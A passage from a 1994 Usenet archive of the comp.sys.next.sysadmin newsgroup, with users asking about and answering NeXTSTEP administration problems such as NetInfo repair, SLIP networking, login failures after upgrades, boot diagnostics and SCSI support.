> of Disctionary in the same directory, so that I can remove it, if I
> have 'Dictionary' installed?
>
> Thanks, Matthias
Yes. If you install the full dictionary, then the CompactDictionary
isn't used by anything. Just remove it, saving yourself a fair chunk
of disk space. Note that if you later decide to remove the *full*
dictionary, then you might want to get the Compact one back again.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
From: edmtl@alf.uib.no (Thor Legvold)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Connecting a NeXT (black) to a PC
Date: 5 Jan 1994 00:00:33 +0100
Organization: University of Bergen
Message-ID: <2gcseh$hrh@alf.uib.no>
References: <2f0fi0$q4l@nermal.cs.uoguelph.ca> <1994Jan3.044059.24544@bozell.com>
I just dug out an old unused ethernet card and put it in the PC.
It works great - my own privatre e-net :-)
Regards,
--
Thor Legvold | This is the strangest life
NorNeXT User Group leader | I've ever known...
University of Bergen | - Jim Morrison, The Doors
Norway | edmtl@fiol.uib.no (NeXTmail)
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: accessing man pages in /usr/local/man/man1
Date: Tue, 4 Jan 1994 19:56:46 GMT
Organization: welcome to nowhere...
Message-ID: <CJ4FEn.11u@arkin>
References: <CJ1IAE.2Gw@number_one.apana.org.au> <2g9atd$b6f@netnews.upenn.edu>
Originator: ARKIN@nice
Shumon Huque (shuque@spectre.sas.upenn.edu) wrote:
> You need to set the value of the MANPATH environment variable
> appropriately (ie. include the additional location of manpages:
> /usr/local/man).
where can one set the MANPATH used by Edit.app for the Manual... M
Utility ??? The only way I can think of to do this is to replace the
window option in /etc/ttys with a shellscript. Is there another
solution which allows to do this allowing different MANPATHs (or any
environment variable) for each user ??? how does one set environment
variables for Workspace ???
christian
Newsgroups: comp.sys.next.sysadmin
From: david@zion.com(David J. Ferrero)
Subject: Re: TIP problems .... sz/rz for tip under NS/Intel?
Message-ID: <1994Jan4.163024.25585@zion.com>
Sender: david@zion.com
Organization: Zion Software & Consulting
References: <CJ0KIM.69@vulcan.rni.sub.org>
Date: Tue, 4 Jan 1994 16:30:24 GMT
Not sure about sz/rz with -1 option...
Possibly parity problems with TIP dialout/login.
Wanted to let you all know about TeleComm 1.01 which is available for
NEXTSTEP 3.1, 3.2 (MAB). This telecommunications package is available
directly from Zion Software & Consulting for $89 + $3.00 s/h USA DOLLARS,
or on the AppWrapper Christmas CD (older version).
Please send email to
info@zion.com if you have any further interest.
TeleComm supports ANSI and VT100 emulation and x,y, and zmodem file
transfer. It sports an emulation API and File Transfer API to allow
endless communication ideas.
David Ferrero.
President, Zion Software & Consulting.
In article <CJ0KIM.69@vulcan.rni.sub.org> gunther@vulcan.rni.sub.org
(Gunther Weber) writes:
> In article <2g4urs$g5k@access2.digex.net> ouija@access2.digex.net (Mark
E.
> Harris) writes:
> > The main one: the connection is established OK, and I get all
> > of the text from the login shell just fine. I enter my user ID,
> > press return, and the cursor goes to the next line just like it's
> > supposed to. Then I enter my password, hit return, and the shell
> > appears to wait forever, just as if I had never hit return.
> I have the same problem. I have a NeXTStation and i am trying to log on
to a
> remote system (a 486 with Interactive). I get the connect-message, send
the
> dial string to the modem, the modem dials the number, i press return (i
have to
> do that on this system to get the login-message), enter my login-name,
get the
> password-message, enter my password, pres return but nothing happens
(well
> except that the TXD-Led on my modem flashes). Using another Terminal
program
> works fine, and doing the same on my Amiga with the same modem (ZyXEL)
works as
> well.
> So I would be interessted, too, if there are any suggestions.
>
> Live long and prosper!
> Gunther H. Weber
>
> --
> Gunther H. Weber "Mr. Worf, all these Away missions; wind,
dry air.
> 67574 Osthofen/GERMANY I'd really like to suggest you start using
a
> +49 (6242) 5486 conditioner." -Barber
Mr. Mott
> E-Mail: gunther@vulcan.rni.sub.org (NeXTMail accepted)
>
>Newsgroups: comp.sys.next.sysadmin
>Subject: sz/rz for tip under NS/Intel?
>Date: 3 Jan 1994 21:43:47 GMT
>Organization: University of Delaware, Newark
>Distribution: world
>I've searched the net to no end to find a copy of sz/rz **with the -1
>option**
>that will compile/is compiled for NS/Intel.
>The sz/rz I found at the archives for NS/Intel doesn't support the -1
>option,
>so it doesn't work with tip, and as usual kermit gives very poor
>throughput.
>Any pointers in this matter would be greatly appreciated!
>Thank you,
>Chris
Newsgroups: comp.sys.next.sysadmin
From: prie@dali.cc.rochester.edu (Tod Rieger)
Subject: f77 script?
Message-ID: <1994Jan5.042510.10967@galileo.cc.rochester.edu>
Sender: news@galileo.cc.rochester.edu
Organization: University of Rochester (Rochester, NY)
Date: Wed, 5 Jan 94 04:25:10 GMT
I clobbered my f77 script during a system upgrade. The current distribution
of f2c no longer includes the f77 script. I tried the f77 script available
from NETLIB, but I couldn't get it to work.
If anyone has a copy of the f77 script for NEXTSTEP and could e-mail one to
me, I would greatly appreciate hearing from you. (Please contact me before
sending the f77 script, so I'm not inundated with copies from all the
FORTRAN programmers out there. :-)
Thanks for any help!
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: running a network on an intel without ethernet
Message-ID: <1994Jan5.061635.3783@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <2gcor9$d27@cheltenham.cs.arizona.edu>
Date: Wed, 5 Jan 1994 06:16:35 GMT
In article <2gcor9$d27@cheltenham.cs.arizona.edu> kline@CS.Arizona.EDU (Nick
Kline) writes:
>
> I have an intel machine running ns/fip 3.2. I want to set up my
> machine to run ppp or slip. I don't have an ethernet card. (I don't
> think ppp is currently available for ns/fip but I was considering
> working on it). How do I configure the machine to be on a network?
Louis Mamakos has a new package for ns/fip called PNI, available by
anonymous ftp, which is a very good implementation (in fact the only one
for ns/fip)
>
> Do I need to already have added ppp or slip before enabeling my
> machine to be on a network? I use uucp right now on my next cube and
> (on the cube) I changed the hostname and that all works well. I wanted
> to change the hostname on the intel machine so that uucp's hostname
> would be the right one. Since I can't change the hostname of the
> machine, I suppose I can change the uucphostname, which if I remember
> is some way to tell uucp to report a different name when it tells the
> other side it's name.
>
> So, to summarize, do I need to install ppp or slip before setting my machine
> to be on a network using the sys admin tools on ns/fip?
en0 is one type of network interface. slip0 or pni0 is another. They can
be mutually exclusive, and for a home machine with no ethernet card, you
DEFINITELY want to configure the SLIP interface and DISABLE en0 altogether.
Your slip interface will become your network. /etc/hostconfig has absolutely
no bearing on your SLIP configuration; ditto for the sysadmin tools - do not
use them unless you are thoroughly competent with network configurations, and
want to have ethernet and slip co-exist by adding a network card.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin
From: jmack@skye.phys.ualberta.ca
Subject: Re: HELP| Serious Netinfo Problem|
Message-ID: <1994Jan5.062945.4327@kakwa.ucs.ualberta.ca>
Sender: news@kakwa.ucs.ualberta.ca
Organization: University Of Alberta, Edmonton Canada
References: <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
Date: Wed, 5 Jan 1994 06:29:45 GMT
In article <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT (Konrad Neuwirth) writes:
> Hello everyone,
> I have a serious NetInfo problem. Because of my stupidity, I wrote
> a wrong machine into the / / master field. That means that I now cannot
.
> BTW: I do have a flat-file copy of the database for safety reasons, thank
> you. And no, I do not have a backup of the NetInfo files from back when
> that change hadn't happened yet. I did that change long ago but only recently
> (or not so recently) noted it.
>
You'll have to re-build you database from the flat file copy. This means
blowing away and re-constructing your / domain etc, but at least you'll have
some of the info from the flat files.
delete network.nidb (and local.nidb if you have to - a virgin copy of the local
can be found in /usr/template/client/etc/netinfo/local.nidb)
Then edit /etc/hostconfig and set NETMASTER=-NO-
Re-boot and construct your / domain (like you did the very first time)
You should be then able to layer in the flat files with niload
(For the future) whenever I do anything with netinfo, I always have a backup.
This can be set up as a cron-job which executes nightly, something like:
tar -cpf /NextAdmin/netinfo.backup.tar /etc/netinfo
Then if anything drastic happens, you'll only be a restore and re-boot away
from recovering, and only have lost the last changes.
--
James S. MacKinnon Office: P-139 Avahd-Bhatia Physics Lab
Computing/Networking Phone : (403) 492-8226
Department of Physics email : jmack@phys.ualberta.ca
University of Alberta uucp : uofaphys!jmack iskye!jmack
Edmonton, Canada T6G 2N5 bitnet: jmack@triumfcl jsm1@ualtamts
Newsgroups: comp.sys.next.sysadmin
From: ben@fizz.fdn.org (Benoit Grange)
Subject: Re: Webster Dictionary
In-Reply-To: doko@cs.tu-berlin.de's message of 04 Jan 1994 20:43:30 GMT
Message-ID: <BEN.94Jan4234138@fizz.fdn.org>
Sender: ben@fizz.fdn.org (Benoit Grange)
Organization: Me
References: <2gckdl$stf@news.cs.tu-berlin.de>
Date: Tue, 4 Jan 1994 22:41:38 GMT
>>>>> "Matthias" == Matthias Klose <doko@cs.tu-berlin.de> writes:
> Is the CompactDictionary in /NextLibrary/References/Webster a
> subset of Disctionary in the same directory, so that I can
> remove it, if I have 'Dictionary' installed?
Yes, I think so. I removed my CompactDictionary some time ago, and
have no problem using webster.
NOTE: One could think that if you are not using full text searchs
(search by other word in the webster preferences), you can remove the
Dictionary (and maybe rename the CompactDictionary to
Dictionary). THIS HAS NOT BEEN TESTED YET.
PS: I will soon make publicly available an interface to the webster
dictionaries, as a command-line client, a webster server, etc.
--
Benoit Grange - PARIS - FRANCE
----
Mail to : ben@fizz.fdn.org (SMALL NeXTMails accepted)
Newsgroups: comp.sys.next.sysadmin
From: willers@butp.unibe.ch (Moritz Willers)
Subject: Re: HELP| Serious Netinfo Problem|
Message-ID: <1994Jan5.113556.15642@aragorn.unibe.ch>
Sender: news@aragorn.unibe.ch
Organization: University of Berne, Switzerland
References: <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
Date: Wed, 5 Jan 1994 11:35:56 GMT
In article <16F34CD8D.A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT>
A4422DAE@AWIUNI11.EDVZ.UniVie.AC.AT (Konrad Neuwirth) writes:
> Hello everyone,
> I have a serious NetInfo problem. Because of my stupidity, I wrote
> a wrong machine into the / / master field.
[...]
> Please help,
> //konrad
A while ago I had a similar problem. This is what I would do:
(Also look into the Sysadmin book pg 425 ff, Fixing NetInfo Problems)
Boot up in singel user mode:
NeXT> bsd -s
then:
# sh /etc/rc &
# nidomain -l % lists the domains served
tag=network udp=684 tcp=686
tag=local udp=685 tcp=687
# niutil -read -t 127.0.0.1/network / % reads the wrong master field
master: wrong_machine/network
# niutil -createprop -t 127.0.0.1/network / master correct_machine/network
% corrects it
Then reboot.
This should work. But be sure to double check everything and make a copy
of the (corrupt, but working, i.e. starting your computer) network.nibd.
You can almost only make things worse. Check also for other fields with
the wrong machine name.
The sysadmin book has the entry:
WARNING: The debugging described in this section is for advanced
administrators ONLY.
So take care!
--
Moritz Willers
Institute for Theoretical Physics
Berne, Switzerland
willers@butp.unibe.ch (NeXTMail)
From: doko@cs.tu-berlin.de (Matthias Klose)
Newsgroups: comp.sys.next.sysadmin
Subject: rlogin -l root
Date: 05 Jan 1994 14:35:42 GMT
Organization: TU Berlin Fachbereich Informatik
Message-ID: <2gej7v$hjs@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
'rlogin host -l root' asks me for the password, 'rsh host -l root sh
-i' doesn't. Is there any possibilty to tell the rlogind daemon that
this root login is accepted? Any replacement for the rlogind?
From: trey@tybrin4.hsv.tybrin.com (Trey McClendon)
Newsgroups: comp.sys.next.sysadmin
Subject: Need help with login problem
Date: 5 Jan 1994 09:43:09 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <9401051541.AA03704@tybrin4.hsv.tybrin.com>
Since upgrading to 3.2, the following problem has occurred twice:
I have a host running SL/IP on port B and a dial-up modem on port A.
Normally all works well. Last night I tried dialing into this machine from
home and got my login name and password entered, but then the login
process hung. The getty was set to time out at 30 seconds, which it did.
Background info
This happened two weeks ago. At that time I logged into our network using
another host/modem, rlogged into the offending host and issued a reboot
command, thinking that something must have just gotten into a bad state.
The reboot did not complete itself, and I had to come in and manually
finish it because it could not find the configuration server, which was
alive and well. I rebooted again and it came up normally.
Back to the present:
I tried other modems and they did not work, so the modems are OK, I think.
Killing gettys did nothing. The gettytabs check out ok. I did a kill
-HUP on lookupd, too.
After getting to work this morning I tried again from another modem on the
network. As you might have guessed, the login went fine. But, the
mystery needs solution anyway. Here are some additional facts and
observations:
the host in question mounts home directories from a server
it is our mailhost and slip machine (port B)
typing 'groups' on any other machine yields the correct group names
typing 'groups' on the slip machine yields a string of numbers
<all other hosts> [dev]-3>groups
tybhsv news other wheel sdc
<bad host> [~]-1>groups
285867480 1040 67108280 40383 580
If there is any other info that may be helpful please let me know. Please
respond via email if you have an idea of what is going on here.
Thanks a bunch,
Trey
<><><><>
Trey McClendon NeXTMail Accepted TYBRIN Corporation
trey@hsv.tybrin.com Fax: 205-837-3472 Voice: 205-837-2027
From: bosborne@nature.BErkeley.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: login problem
Date: 5 Jan 1994 12:14:02 -0500
Organization: The Ohio State University
Sender: root@magnus.acs.ohio-state.edu
Message-ID: <9401051714.AA19754@nature.Berkeley.EDU.cnr-net>
To the group,
What have I done?!
I upgraded to 3.2 User and Developer Monday, using the automatic
option, that is, so I wouldn't do anything dumb. My machine is
a NeXTStation mono, standalone at home. I use the 'me' account
(should I make a 'brian' account instead? that's another question).
When I powered up on Tues. the (verbose) bootup proceeded fine,
then I see the loginwindow. I type 'me' and the passwd, the cursor
spins, the loginwindow vanishes for a second, then comes right back!
The loginwindow does _not_ shudder, as for the wrong passwd, but I
can't login. I _can_ login as root. Did I miss some important detail
in the Upgrade? I will summarize.
Thank you for your attention to this matter,
Brian Osborne
bosborne@nature.berkeley.edu
From: bosborne@nature.BErkeley.EDU
Newsgroups: comp.sys.next.sysadmin
Subject: boot-problem-summary
Date: 5 Jan 1994 12:20:33 -0500
Organization: The Ohio State University
Sender: root@magnus.acs.ohio-state.edu
Message-ID: <9401051720.AA20351@nature.Berkeley.EDU.cnr-net>
Here's a summary of responses to the query I offered to this
group recently. Thanks James and Klaus.
>
> To the group,
> I believe I messed something up a while back when I went to change the
> number of buffers (which worked). Now when I boot (verbose mode) I see
> the following :
>
> <<some stuff>>
> Booting from SCSI target 0 lun 0
> diagnostics : not found
> load failed
Have you checked the monitor boot params to disable the diagnostic?
It is, I think meant strictly for NeXT Inc inhouse procedures (with
their diagnostic boot). Set it to 'n'.
--
James S. MacKinnon
And from Klaus:
Hi,
here is one possible solution:
In case "boot extended diagnostics" had been set under 2.1 within
NMI Montitor during boot the boot process did look for a module
"diagnostics" to boot within the folder:
/private/tftpboot
This is no longer the case. The module must be stored in the root (/)
directory. Failure to do so will result with the boot process to
stop:
Next> exception #2 .......
or just stopping the boot process with: boot 0 block:
entering just a b followed by return will let the process to continue.
Circumvention: a) copy the module "diagnostics" (so you have) into
the / directory
- or -
b) change at the NMI prompt the boot option
"boot extended diagnostics" from YES to NO
Known since: 3.0
Hope this will help
Klaus
Newsgroups: comp.sys.next.sysadmin
From: mpragnel@news.weeg.uiowa.edu (marlon pragnell)
Subject: FORSALE:Optical Drive and Optical Disks
Message-ID: <1994Jan5.180122.7457@news.weeg.uiowa.edu>
Organization: University of Iowa, Iowa City, IA, USA
Date: Wed, 5 Jan 1994 18:01:22 GMT
FOR SALE:
1. Optical Drive for NeXT cube.
2. Optical Disks.
Send you price.
From: shuque@spectre.sas.upenn.edu (Shumon Huque)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: accessing man pages in /usr/local/man/man1
Date: 5 Jan 1994 18:15:12 GMT
Organization: University of Pennsylvania
Message-ID: <2gf03g$5it@netnews.upenn.edu>
References: <CJ1IAE.2Gw@number_one.apana.org.au> <2g9atd$b6f@netnews.upenn.edu> <CJ4FEn.11u@arkin>
In article <CJ4FEn.11u@arkin> chris@nice.usergroup.ethz.ch (Christian Limpach) writes:
>Shumon Huque (shuque@spectre.sas.upenn.edu) wrote:
>
>> You need to set the value of the MANPATH environment variable
>> appropriately (ie. include the additional location of manpages:
>> /usr/local/man).
>
>where can one set the MANPATH used by Edit.app for the Manual... M
>Utility ??? The only way I can think of to do this is to replace the
>window option in /etc/ttys with a shellscript. Is there another
>solution which allows to do this allowing different MANPATHs (or any
>environment variable) for each user ??? how does one set environment
>variables for Workspace ???
>
> christian
I don't know of any way to change the default environment for
Workspace globally. "loginwindow" has a variable called "Workspace". I
suppose that you could set this value to some custom program via:
dwrite loginwindow Workspace MyWorkspace (this has the advantage that
each user can have his/her own program)
that first set up the environment variables as desired and then called
the real workspace (/usr/lib/NextStep/Workspace.app/Workspace).
I haven't tried this. If anyone has, please let us know how it works
..
--Shumon.
Newsgroups: comp.sys.next.sysadmin
From: baker@keeper.journalism.indiana.edu (Don Baker)
Subject: Setting up HPLJ4Si w/ Pacific Data DirectNet card
Message-ID: <CJ67wH.FHF@usenet.ucs.indiana.edu>
Keywords: HP LaserJet 4Si DirectNet
Sender: news@usenet.ucs.indiana.edu (USENET News System)
Organization: Indiana University
Date: Wed, 5 Jan 1994 19:09:52 GMT
I've a HP LaserJet4Si with a Pacific Data DirectNet MIO card and PostScript
Language option from HP. I have had no problem setting the printer up on the
network so that all our users can use it. The problem is I would like to make
all of our fonts available to this printer.
I have no idea how to properly download fonts to the printer from our NeXTs.
I also tried TCPprd without success. I believe TCPprd is designed to work with
HP's JetDirect card and not the DirectNet card from Pacific Data.
Dots may be an option, but can it work with a printer directly connected to the
ethernet?
--
Don Baker
Technical Services
IU School of Journalism
baker@journalism.indiana.edu
From: friel@sccs.swarthmore.edu (Patrick W. Friel)
Newsgroups: comp.sys.next.sysadmin
Subject: NI Domain Problem
Followup-To: comp.sys.next.sysadmin
Date: 5 Jan 1994 20:33:27 GMT
Organization: Swarthmore College
Message-ID: <friel-050194153145@mac04.public.swarthmore.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
I am currently working on a machine which is not connecting with the local
netinfo domain. As a result, I am unable to add any users. Can someone
please give me a few tips to fix this problem. I cannot find the system
administration documentation which was supposed to be on-line. Thanks.
-PWF
From: djm@nextdjm.nscl.msu.edu (DJ Morrissey)
Newsgroups: comp.sys.next.sysadmin
Subject: NS/Intel can't book after disk crash
Date: 5 Jan 1994 20:50:27 GMT
Organization: Michigan State University
Message-ID: <2gf96j$gid@msuinfo.cl.msu.edu>
Keywords: NS/I, boot, disk-crash, seagate
Hello,
I had a NS/I 3.1 system running on a Gateway DX2-66V with
a seagate 1.0 Gig disk on an Adaptec card. The disk crashed
and I had to sent it back. I substituted an external
SCSI (dos-formmated) disk and started from scratch.
The machine will not boot from the NextStep floppy.
It goes into an endless loop of dots ....... indicating
that it is loading the boot-code from the floppy.
I called the NeXT support number (you should try it
for a few laughs) they said "sounds strange, do you want
to pay $100/hr for help?" Is there a way to get or
make another boot-floppy to see if the disk was corrupted?
Anyone else have this problem?
Anyone else enjoy talking to NeXT support?
--
With Regards,
Dave Morrissey
voice: 1-517-355-9554 InterNet: djm@nextdjm.nscl.msu.edu
FAX: 1-517-353-5967 BitNet: morrissey@msunscl
HepNet: msuhep::cycvax::morrissey
From: troch@gandalf.Rutgers.EDU (Rod Troch)
Newsgroups: comp.sys.next.sysadmin,bit.listserv.next-l
Subject: What SCSI adapter does NS/I 3.2 support?
Message-ID: <TROCH.94Jan5155337@gandalf.Rutgers.EDU>
Date: 5 Jan 94 20:53:37 GMT
Sender: troch@gandalf.rutgers.edu
Followup-To: comp.sys.next.sysadmin
Organization: Rutgers - The State University of New Jersey
Howdy,
Which brands of SCSI controllers does NeXTSTEP/Intel 3.2 support?
I hope NeXT created a driver for the Furtur Domain series, and not
just the Adaptec series.
thanks,
Rod
--
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If you yell try : Rod Troch | Zeta Beta Tau
internet : troch@gandalf.rutgers.edu |
bitnet : troch@zodiac | happyHappy joyJoy
Rutgers University - Faculty of Arts and Sciences / History Dept.
- Microcomputer Analyst (Network Admin)
Newsgroups: comp.sys.next.sysadmin
From: paul@seer.demon.co.uk (Paul Lynch)
Subject: Re: running a network on an intel without ethernet
Message-ID: <1994Jan5.193130.6313@seer.demon.co.uk>
Sender: paul@seer.demon.co.uk
Organization: P & L Systems
References: <2gcor9$d27@cheltenham.cs.arizona.edu>
Date: Wed, 5 Jan 1994 19:31:30 GMT
In article <2gcor9$d27@cheltenham.cs.arizona.edu> kline@CS.Arizona.EDU
(Nick Kline) writes:
[SNS wrecks a 3.2 machine without a network card]
> So, to summarize, do I need to install ppp or slip before setting my
machine
> to be on a network using the sys admin tools on ns/fip?
No. Avoid SNS; the old bugs are fixed, which means that....
Use HostManager, and set a hostname, but not an IP address. This isn't
really required for the interface, as the address of the SLIP interface is
set in the SLIP config files.
Paul
--
Paul Lynch
P & L Systems (NeXTmail) paul@seer.demon.co.uk
Tel: (0494)671501 9 Stable Lane, Seer Green,
Fax: (0494)680228 Bucks, HP9 2YT, UK
Newsgroups: comp.sys.next.sysadmin
From: djiracek@thunder(Dan Jiracek)
Subject: Delete authority for print jobs to someone other than root?
Message-ID: <1994Jan5.213453.15965@fnbc.com>
Sender: news@fnbc.com
Organization: First National Bank Of Chicago, Chicago IL, USA
Date: Wed, 5 Jan 94 21:34:53 GMT
A user wants to have some control over the jobs sent to her printer.
Other than giving her root authority is there some way to do that?
Thanks,
Daniel Jiracek (312) 732-1421
Systems Officer/Network Specialist Dan_Jiracek@fnbc.com
First Chicago Bank NeXT Mail Accepted
From: ivo@next.agsm.ucla.edu (Ivo Welch)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NS/Intel can't book after disk crash
Date: 6 Jan 1994 02:07:39 GMT
Organization: UCLA Microcomputer Support Office
Message-ID: <2gfrpb$eap@news.mic.ucla.edu>
References: <2gf96j$gid@msuinfo.cl.msu.edu>
: Is there a way to get or
: make another boot-floppy to see if the disk was corrupted?
I remember that NS 3.1/040 required a 2MB floppy space to boot off. So,
no deal off an Intel 1.2MB floppy. However, you can actually boot off
the NS 3.x CD-ROM. I do not remember exactly how, but it works. You
can then hand-mount the hard disk and do a "showmods" to see which files
on the hard disk got corrupted. (This procedure should be documented by
NeXT. Perhaps it is in NeXTanswers now. NeXT support told me about it
once on the phone.) In fact, I think noone should run NS without at
least two hard disks in order to save important files from the bad hard
disk to the good hard disk when necessary.
: Anyone else have this problem?
Not this one, but many like it.
: Anyone else enjoy talking to NeXT support?
If you get the answer for $60 (which is 30 minutes hard support time, I
think), it isn't so bad. Often, they don't even charge you. In fact, I
think it is a bargain, and the people are knowledgeable (but
overworked).
Yet, sometimes, I find it disappointing if it takes 3 days to get an
answer that my problem is a bug that was pointed out 1 year ago by
someone else, and still has not been fixed---and now requires a complete
rebuild of a disk on my part. But that's the fault of their tech people
(which again are hard-working great programmers---but just overworked),
not their support people.
Ivo Welch ivo@128.97.74.50 = next.agsm.ucla.edu
Asst Prof of Finance iwelch@agsm.ucla.edu
AGSM at UCLA
Newsgroups: comp.sys.next.sysadmin
From: nathan@laplace.csb.yale.edu (Nathan F. Janette)
Subject: Re: What SCSI adapter does NS/I 3.2 support?
Message-ID: <1994Jan6.045156.20669@cs.yale.edu>
Sender: news@cs.yale.edu (Usenet News)
Organization: Yale University, Department of Computer Science, New Haven, CT
References: <TROCH.94Jan5155337@gandalf.Rutgers.EDU>
Date: Thu, 6 Jan 1994 04:51:56 GMT
In article <TROCH.94Jan5155337@gandalf.Rutgers.EDU> troch@gandalf.Rutgers.EDU
(Rod Troch) writes:
> Howdy,
>
> Which brands of SCSI controllers does NeXTSTEP/Intel 3.2 support?
> I hope NeXT created a driver for the Furtur Domain series, and not
> just the Adaptec series.
I hope they provide the Adaptec 1742 support they promised for 3.2.
--
Nathan "USENET" Janette
PPP link from hilbert.csb.yale.edu
Please reply to: nathan@laplace.csb.yale.edu (NeXT)
From: wolpert@ds1.ds2i.freiburg.sub.com (Florian Wolpert)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Sendmail alias inclusion
Date: 5 Jan 1994 09:34:39 GMT
Organization: FreiNet, a VzF* InterNetNews site
Message-ID: <2ge1jg$fre@bock.freiburg.sub.org>
References: <CJ1CE1.MCH@newshub.ccs.yorku.ca>
David Aspinall (dave@guinness.huma.yorku.ca) wrote:
: I would like to set my sendmail configuration up so that my reply
: to address appears like David_Aspinall@huma.yorku.ca
: ....
: SO, does anyone have any advice for me? A good book on sendmail?
read "sendmail" from O'Reilly & Associates, Inc.
ISBN 1-56592-056-6 it's "THE" book on sendmail (my opinion!)
- Flo.
--
The BLACK, the WHITE, the YELLOW and the BROWN
(and don't forget the REDMAN)
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: mhamrick@dallas.bozell.com(Matt Hamrick)
Subject: Black Slab <-> HP LaserJet 4
Message-ID: <1994Jan5.210642.14969@bozell.com>
Sender: news@bozell.com
Organization: Bozell, Jacobs, Kenyon & Eckhardt, Inc.
Date: Wed, 5 Jan 1994 21:06:42 GMT
Net Folks,
Has anyone had any success connecting a black slab to a HP LaserJet 4.
I had assumed that it was as simple as using a serial cable to connect the
two, but the printer still isn't getting anything from my slab. Is this a
supported configuration or not?
--
Matthew S. Hamrick | "Though this be madness, yet there is method in't."
mhamrick@bozell.com | -Shakespeare, Hamlet Act 2, Scene 2
Temerlin McClain |
Dallas, Texas | NeXT Mail Capable
From: tso@cephalo.neusc.bcm.tmc.edu (Dan Ts'o)
Newsgroups: comp.sys.next.sysadmin
Subject: How to make a ground zero backup ?
Date: 6 Jan 1994 07:11:25 GMT
Organization: Baylor College of Medicine, Houston,Tx
Message-ID: <2ggdit$mf1@gazette.bcm.tmc.edu>
I am about to (try to) install NextStep Intel 3.2 on a Gateway 486/66.
As an old time UNIX hacker, I would like to know what I must do to create a
"ground zero backup" of the system, once it is installed.
What I mean, of course, is a backup of the entire system that can be
retrieved using a blank machine and disk, and perhaps a floppy to boot.
I can build and store such a thing on Exabyte tape attached to a
1542C (does Nextstep support this ?), or rdump or otherwise copy the system
to disk or tape on another UNIX machine.
If it is necessary or easier, I can involve DOS in the backup or
restoring process.
In old UNIX, I would dd the root partition and then dump or tar the
rest. Does dd'ing the root partition get everything that is needed like boot
info, etc, and could a tiny DOS floppy restore the image from tape ?
If this is not possible, then how about a very minimal system built on
a small IDE or SCSI drive (say 40MB), that is just enough to boot the system
and pull in the 400Mb of goodies that comprise the full install. How would this
be done ?
Thanks.
Cheers,
Dan Ts'o
Div. Neuroscience 713-798-3331
Baylor College of Medicine
1 Baylor Plaza S603 dan@dna.neusc.bcm.tmc.edu
Houston, TX 77030 tso@cephalo.neusc.bcm.tmc.edu
From: ti6hk@trick.ti6.tu-harburg.de (Henry Koplien)
Newsgroups: comp.sys.next.sysadmin
Subject: Problems installing V3.0 on System running V2.5
Date: 6 Jan 1994 07:41:41 GMT
Organization: University of Hamburg -- Germany
Distribution: world
Message-ID: <2ggfbl$obs@rzsun02.rrz.uni-hamburg.de>
Hi there!
I have problems installing the system version 3.0 on a NextColorStation.
The OS comes from the SCSI CD-Drive. The boot procedure is OK except the
ROM-Drive. The message I received was about the wrong blocksize. The old
system has a blocksize of 1024 Bytes. The OS on CD has 2048 Bytes. So the
system doesn't recognize correctly the CD. It is no problem to take a look
at DOS-CD's because they have a blocksize of 1024 Bytes. It is also
possible to take a "dump" look at the OS-CD with a rawread. So the
Question is: How is it possible to change the system blocksize (i.e. How
to install V3.0)? All other devices accessible like /dev/rsdxx have all
the same blocksize of 1024 Bytes! Any suggestions? (Maybe it's a FAQ years
ago...)
Thanks in advance...
Henry
Newsgroups: comp.sys.next.sysadmin
From: raptor!rlove (Robert B. Love )
Subject: Open problem
Message-ID: <1994Jan6.040309.3525@nugget.rmNUG.ORG>
Sender: rlove@nugget.rmNUG.ORG
Organization: Rocky Mountain NeXT Users' Group
Date: Thu, 6 Jan 1994 04:03:09 GMT
Why is it if I type open filename Edit opens up the file but if I type
open -a Edit file it fails with this msg:
open: can't open connection to Edit on local host.
What do I have to set to make this work?
--
-----------------------------------------------------------------
Bob Love rlove@raptor.rmnug.org (NeXT Mail OK)
BIX: rlove
-----------------------------------------------------------------
From: sdhector@mtl.mit.edu (Proto)
Newsgroups: comp.sys.next.sysadmin
Subject: System panic when starting Mail.app
Date: 6 Jan 1994 14:21:35 GMT
Organization: Massachvsetts Institvte of Technology
Message-ID: <2gh6pf$o19@senator-bedfellow.MIT.EDU>
Keywords: mail,panic
I am experiencing the following system panic when I log in and try to
start Mail.app:
from /usr/adm/messages:
caligula mach: panic: (Cpu 0) fp not one
The Mail.app application is not auto-launched. I am auto-launching
TimeMon. The TimeMon is very busy, and if Mail.app is launched before the
traffic on the processor subsides, a system panic occurs. I don't know if
TimeMon has anything to do with it, but that is what we have observed. We
have a network of eight black boxes, and this error has occurred on at
least three of our machines.
If anyone can help, it would be greatly appreciated.
Thanks,
Scott sdhector@mtl.mit.edu
From: lje0106@sigma.tamu.edu (Louis J. Everett)
Newsgroups: comp.sys.next.sysadmin
Subject: Disk Damaged - Repair? What it means?
Date: 6 Jan 1994 14:26:04 GMT
Organization: Texas A&M University, College Station, TX
Distribution: world
Message-ID: <2gh71s$s9h@news.tamu.edu>
